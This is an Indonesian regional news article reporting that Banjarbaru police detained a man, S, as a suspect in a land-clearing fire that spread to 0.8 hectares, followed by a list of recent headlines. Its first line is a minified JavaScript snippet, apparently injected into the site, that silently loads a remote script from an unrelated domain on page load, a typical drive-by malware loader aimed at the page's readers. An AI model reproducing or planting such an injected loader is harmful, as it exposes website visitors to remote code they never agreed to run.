(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal

Tersangka Pembakar Lahan di Tegal Arum Ditahan di Mapolres Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Seorang lelaki ditetapkan menjadi tersangka pembakaran lahan oleh pohak Kepolisian Resor (Polres) Banjarbaru.

Lelaki berinisial S diduga menjadi pelaku pembakaran lahan di jalan Simpati Tegal Arum RT 44 Kelurahan Syamsudin Noor, Kecamatan Landasan Ulin, Kota Banjarbaru pada Mei lalu.

Kapolres Banjarbaru AKBP Dody Harza Kusumah melalui Kasi Humas Polres Banjarbaru AKP Syahruji mengatakan, penetapan tersangka S membutuhkan waktu sepekan setelah terbitnya surat perintah penyidikan.

“Penetapan tersangka S sudah melalui gelar perkara,” sebut AKP Sayhruji, Rabu (5/7/2023) siang. Penetapan S sebagai tersangka pembakar sudah dilakukan sejak Selasa (4/7/2023), dan S langsung ditahan.

Baca juga: 32 Tersangka Terlibat Peredaran Gelap Narkoba di Kabupaten Banjar, Satu Diantaranya Anak di Bawah Umur

S lelaki yang menjadi tersangka pembakaran lahan di Tegal Arum, Landasan Ulin, Banjarbaru. Foto: polresbanjarbaru

Baca juga: Pemuda di Banjarmasin Gantung Diri di Rumah Peninggalan Orangtua

AKP Syahruji membeberkan berdasar hasil penyidikan pihak kepolisian berdasar pengakuan S mengakui membuka lahan dengan cara membakar, kemudian ditinggal pulang ke rumah.

“S membakar lahan miliknya sendiri, tapi tidak dijaga sehingga api menjalar ke lahan lain hingga luasan 0,8 hektare,” bebernya.

S dikenaklan pasal 187 KUHP dan atau pasal 188 KUHP dengan ancaman pidana paling lama 5 tahun.

Disebutkan juga, penetapan tersangka S ini merupakan satu dari tiga titik kebakaran lahan yang dilakukan penyelidikan oleh Polres Banjarbaru.

“Ini salah satu dari tiga kasus yang disampaikan lidik kemarin, sedangkan dua kasus lagi masih dalam proses penyelidikan,” tutupnya. (Kanalkalimantan.com/kk)Reporter: kk
Editor: kk


Al Ghifari

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

13 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

13 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

14 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

14 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

14 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

14 jam ago

This website uses cookies.